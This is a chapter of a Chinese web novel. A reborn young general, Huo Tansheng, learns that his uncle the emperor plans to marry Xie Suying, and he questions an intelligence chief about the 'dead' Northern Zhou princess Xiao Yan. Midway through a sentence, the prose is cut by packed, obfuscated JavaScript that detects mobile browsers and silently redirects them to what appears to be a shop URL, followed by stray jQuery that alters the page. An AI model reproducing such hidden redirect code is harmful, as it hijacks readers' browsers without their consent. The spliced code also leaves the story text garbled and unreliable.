要说霍檀生对改变谢素盈命运的人有十分的恼恨,只想让对方死的话,现在则更是想将其千刀万剐杀个干净。
扭曲命运直接把他和明月奴的姻缘都扭曲到别人身上了吗!
上一世谢素盈女扮男装潜伏在大邺,久在云州征战,和他舅舅也没有太多交集。最多不过就是清冷高绝的少年战神和浪漫多情的文青皇帝彼此之间惺惺相惜,互相认可的君臣关系。
这一世怎么会变成这个样子。而且谢素盈的另一个身份不是北周公主萧燕吗?怎么能和他舅舅成婚。还做的是皇后。
到底是怎么回事?
霍檀生急忙问出口,“等等,小舅舅,你怎么会娶谢素盈?你和她什么关系。”
李承霁母家势力不显,也不受先帝喜爱,能登上帝位全靠三个字。
命不好。
哥哥姐姐们死得早。
他是先帝最幼的孩子,与长公主李崇白相差有二十七岁,只比霍檀生大五岁。
本来怎么也轮不到他坐皇位,但由于其上的哥哥姐姐们个个都不是孬种,不是夺嫡、谋反、养面首,就是光明正大地勾搭臣妻和小妈,彼此间斗得太厉害,导致先帝在执政后期大开杀戒。
李姓宗室与外戚宦官势力被杀得几近断绝,国本动摇。
等李承霁九岁继位时,面临的就是主幼国疑,北方强敌入侵,世家拥兵自重,都想趁此机会攫取权柄,疯狂地想往他后宫塞人,欲挟天子以令诸侯的局面。
若不是因为霍显和长公主都拥有兵权,且对他绝对忠诚,李承霁自身也比较争气,大邺江山都险些旁落到他人手里。
也因着霍显和长公主经常要去各地平乱,幼时的霍檀生一直是被李承霁和一帮半大小子带着长大的。
虽为舅甥,二人感情却自小深厚。
李承霁自觉他也算霍檀生的半个爹,于是他对霍檀生坦言道:“你说昭昭啊,她说起来也是我的小青梅呢。在三年前,我们初遇,当时的谢太公是太傅,他在教授我的时候,也随身带着她。我那时候便对她有意,但她年岁尚小。你也知道,之前世家势大,我亦根基不稳,便向她许诺我会等她,我的皇后只会是她。直到现在与世家分庭抗礼,终于可以名正言顺地娶她为后,就是不知道她此刻是否愿意。”
李承霁说话时,脸上向来会噙着微笑,偏又生得五官华美,红绮如花,一双冷峻凌厉的凤眼因含笑而变得水光流转,上挑的眼尾瞬间变得魅惑多情。
是时下最受人追捧的美男子类型。
亦是最会哄骗女人的长相,看着是温柔多情,实际上外热内冷,杀伐决断,腹黑狠戾。
倘若不是霍檀生与李承霁从小相处,又兼重生,知道他这小舅舅此刻虽然无后,但后宫仍有一个与他相伴多年,走过世家碾压皇权最艰难时期的朱砂痣,都差点要受了他的骗。
他才不要看到他的明月奴这一世变成他的小舅母,进入到深宫中,去和别的女人争斗,只为了博一个早丢了贞洁,又爱演戏的老男人的宠幸。
男人最宝贵的嫁妆就该是贞洁自重好嘛!
霍檀生一脸无语,实在无语。
但李崇白显然是被骗了过去,她向李承霁打趣道:“倘若谢家女郎不愿的话,那我便要给她挑选天都城其他的好儿郎。那女郎是真的格外合我心意,我也希望她能有一个好的归宿。”
“皇姐你真是……”李承霁听着,无奈地摇了摇头,倒也有些纵容道:“不过,倘若她有意,想看其他儿郎便让她看吧。昭昭年纪还小,性格也不愿意被拘着,我要强迫她这时与我成婚,她指不定要和我撒泼打滚闹个没完。”
继而他又走到霍檀生跟前,抬起手揉了揉他脑袋,感叹道“小矮墩现在也大了,都快要成家。以后呢,要记得,性格沉稳些,勿以身贵而贱人。那谢家嫡女虽比你大些,但可是风华绝代、名动天下、是深受士林敬仰的世家贵女呢,正好能替姐姐管教下你。而且少年将军和名门贵女,啧啧啧,真是完美的搭配。”
李承霁笑着,但霍檀生却低头,松开手,碎裂的瓷片落到地上,带着血迹,也没管,只是认真地言明底线“不管她有多好,我这一辈子,谁也不会娶。阿娘,小舅舅,你们也趁早死了再给我相看他人的心。逼急了我就长居云州,再也不回来。”
他说完,也不管这姐弟二人是何反应,直接起身从刚刚翻进的窗口跳出,一路上飞檐走壁,便往蓬莱宫左侧的天机阁飞去。
在送谢素盈回来的一路上,霍檀生想得很清楚。他这一世,看样子还是栽到了她手里,但是他二人上一世兰因絮果,此刻她又有比他更好的选择,那就实在没有必要去重复上一世的错误。他也无意再娶旁人为妻,耽误别的女子。
他这两世只认定谢素盈是他的妻,但她未来的夫君是不是他都不要紧。
他只想要确定,为什么他的小舅舅要立谢素盈为后。
谢素盈的另一个身份,萧燕,可是北周的公主。
但不管是谢家谢太公,还是他舅舅,一个个都是人精,他们真的对她的潜伏一无所知吗?可倘若他们真的得知的话,她一定会死。
这些很容易暴露她的问题,他身为臣下,身为小辈是无法问询他阿娘和小舅舅的,只能先收集情报。而整个大邺要论情报最集中最不会出错的,那当然就是天机阁。
天机阁是李承霁私卫办事之所,直接听命于皇帝,主要职责就是保护皇帝安全和情报侦查。
等霍檀生走进天机阁,便见阁内一片灯火通明,几个身着金绣玄衣的年轻男子正围坐在一起玩着叶子戏,听到霍檀生的动静,几个隔着窗便扭过头来。
“咦,是昙奴呢!”
“昙奴你终于舍得从云州回来了。”
“嗬,这小矮墩,现在长得挺高啊,比你高表兄都要高一个头呢!”
“是吗?比我还高?”隔着窗背对着霍檀生的白发青年听此才缓缓回头,上下看了一眼,抱胸点评道:“啧啧啧,小矮墩,现在这身材不错啊,虎背蜂腰螳螂腿,比我都高,确实有资格进我这里,怎么样,要不要来呀。”
并不想。
霍檀生猛地一瞥那白发青年,冷脸差点没绷住。
高见月!
高家少主,天机阁主指挥使,统领羽林卫骑兵营,上一世即便双目失明,也甘愿化作恶鬼修罗,战死沙场,也要为谢素盈铺平女帝之路的第一恶犬。
“表兄...”霍檀生紧握起拳头,装作非常不在意地问道:“你怎么会在这里,高舒夜大兄呢?”
“你说他啊”高见月浅笑了下,无所谓道“他辞官不干让我给顶上来了。倒是昙奴你,前两天不是还在云州吗?怎么这几天跑回来天都。你可知道,这几天江湖、朝堂、世家甚至北周的势力都往我这边打听你的消息呢!你和哥说说,我把消息半真半假地卖出去,我们趁机挣一票咋样?”
“表兄,你还真的无利不起早。”霍檀生嘴角一抽,但也避重就轻道“我想买个人的消息,开个价。”
“谁的消息?”高见月好奇。
他身边的青年们也围坐在一旁道“昙奴,不容易啊,终于见你对一个事情好奇起来,倒是不知道是谁的消息?”
“会是女人吗?昙奴你想要高门谁的消息,整个大邺哥哥们都可以给你扒出来。”
一片笑声中,霍檀生沉静地对高见月道“萧燕。”
“哦,萧燕啊”,瞬间四周人都变得少了兴致,垂头丧气地散开。只有高见月坐在原地,无奈地说“怎么这几天都有人在打听萧燕。萧燕已经死了,在三年前,被高舒夜杀死的。”
什么?萧燕死了?那谢素盈是谁?
霍檀生一脸懵逼。
高见月则一手支颐欣赏着他脸上的表情,笑了起来“昙奴,你现在长得是越发出众了。男人果真是年轻得好,干净、清冽、矜贵,一眼看着就是会和不同女人发生不清不楚纠葛的高级渣男脸,啧啧啧,真不知道以后谁会让你收心。”
“表兄,你怎么和女人一样,不是关注男人容貌就是关注他身材”霍檀生有些无语,认真问道“高大兄和萧燕是怎么一回事?”
“萧燕啊……”高见月神色有些复杂,晦涩难明道“听闻那萧燕长得格外美貌,有人曾赞其花容甚浓,身似惊鸿,月在其下无光,雪与之比呆白,是北周最受宠的公主。”
“但是她的政治手腕极其铁血冷酷。自她七
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17349378|199585||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
岁起萧太后便已经带她上朝听政。据说当时在北周宗室里,有人觉得她年幼,违抗其指令,她不仅逼着对方把自己尚在襁褓的孩子掐死之外,还当场杀人诛心,当面将其一脉都屠得干净。自此以后北周宗室无人敢与她争。有人传她将会是北周下一任板上钉钉的女帝。”
“倘若任由萧燕成长下去,云州的大邺百姓将有一日会被她血洗。于是,在五年前,大邺江湖和朝廷联手启动了一次针对于萧燕为期两年的暗杀计划。”
“高舒夜,也就是我兄长,你也知道,当世的剑道第一。他作为那次行动的最终执行者,潜伏在北周,成为了萧燕的剑道老师。萧燕那时对他极为信任,出行护卫只有他一人。”
“他于三年前将萧燕刺死,同时,萧燕也将他的眼睛弄废,无法视物,后来就把高家和天机阁的差事全部扔给我,自己独身一人拿了把剑游历江湖,如今三年过去,他依旧未归。”
“有人说,”高见月叹了口气,凑到霍檀生近前复杂道,“我哥他这是爱上了萧燕,所以再无斗志了呢。想来也是,两年相伴,师徒一场,最后却落得兵戎相见,一死一残,可见这人世间,什么都可以是寄托,但唯独情之一字,实在是沾不得。”
高见月说着,扭回头便又招呼着青年们继续玩叶子戏。
“那大兄眼瞎,又是怎么确定萧燕的死讯的?”霍檀生突然问了一句。
“是在次日,”高见月似是没想到霍檀生会这么问,想了想回答道:“北周萧太后举办了全国丧仪,以国礼下葬萧燕。”
霍檀生想起上一世,谢素盈在云州从军与他初遇时,最开始的身份也不过是云州女奴。
十六年来,从女奴,到将军,上将军,云州无冕之相,再到大邺不败战神,北周的杀神祁阳王,一路封侯拜相,集王侯将相功业于一身。
这一世,上一世,她大约都是因着高舒夜刺杀她的事情,直接选择将她的公主身份抛弃。
因为任由谁也不会相信,会有人居然不去做千娇百宠锦衣玉食的公主,而选择去做一个受人牵制的女奴或者细作。
霍檀生此时内心五味杂陈,却也有些自豪。
排除立场而言,不管是上一世还是这一世,他的明月奴都是一个样子。
这无关容貌。
而是她的本质。
她从来都是那个离经叛道,危险迷人,乖张难驯,又美又疯,一条路走到黑也毫无悔意的坏女人啊!
他也真完蛋。爱上了这样的人。
但还好她有他在,在她未做他小舅母或者成为别人妻子之前,那她就还是他的妻,是他的明月奴。
身为夫君,他怎么也得护着她。
霍檀生无奈地摇摇头,向着高见月继续打听道:“那查萧燕的势力有哪些?”
“全部。”高见月抽空抬头说了句,“也不知道为何,最近所有势力都在打听三年前已死的人。”
那大约看来就是背后潜藏的势力所为了,他们掩藏的可真深,连天机阁都没有找出一些痕迹。
霍檀生这般想着,最后向高见月问:“表兄,什么价?”
“你我兄弟关系,你小时候我也还和陛下一起亲手带过你呢,这情报又不值钱,就当免费送你。”高见月挥挥手不在意地说道。
“不过,等等!”他又站起身来,伸了个懒腰,向着霍檀生道:“我也好久没见好姨母了,前两天她莫名给我们都下了帖子,正好她今天遇刺,我也去看看她。”
他说着,向身旁的人交代了些公事之后,便与霍檀生一起骑马,回到了长公主府。
此时已值卯时,天都城因昨夜下的雨,尚有些凉,但四处又因雨水洗过,分外清朗。
霍檀生带着高见月在长公主府绕着回廊,正往大堂走去时,突然高见月止住脚步,对着他有些无措道“昙奴,怎么办,我看到了月亮。”
什么月亮?
霍檀生随着高见月视线望去,看到一个熟悉的身影,不由得紧握起拳头。
说真的!
他真的忍够了。嫡将军一世重生,不仅没能做成小三,连小四小五都没他的份!
到底是哪个缺德玩意儿改的命啊!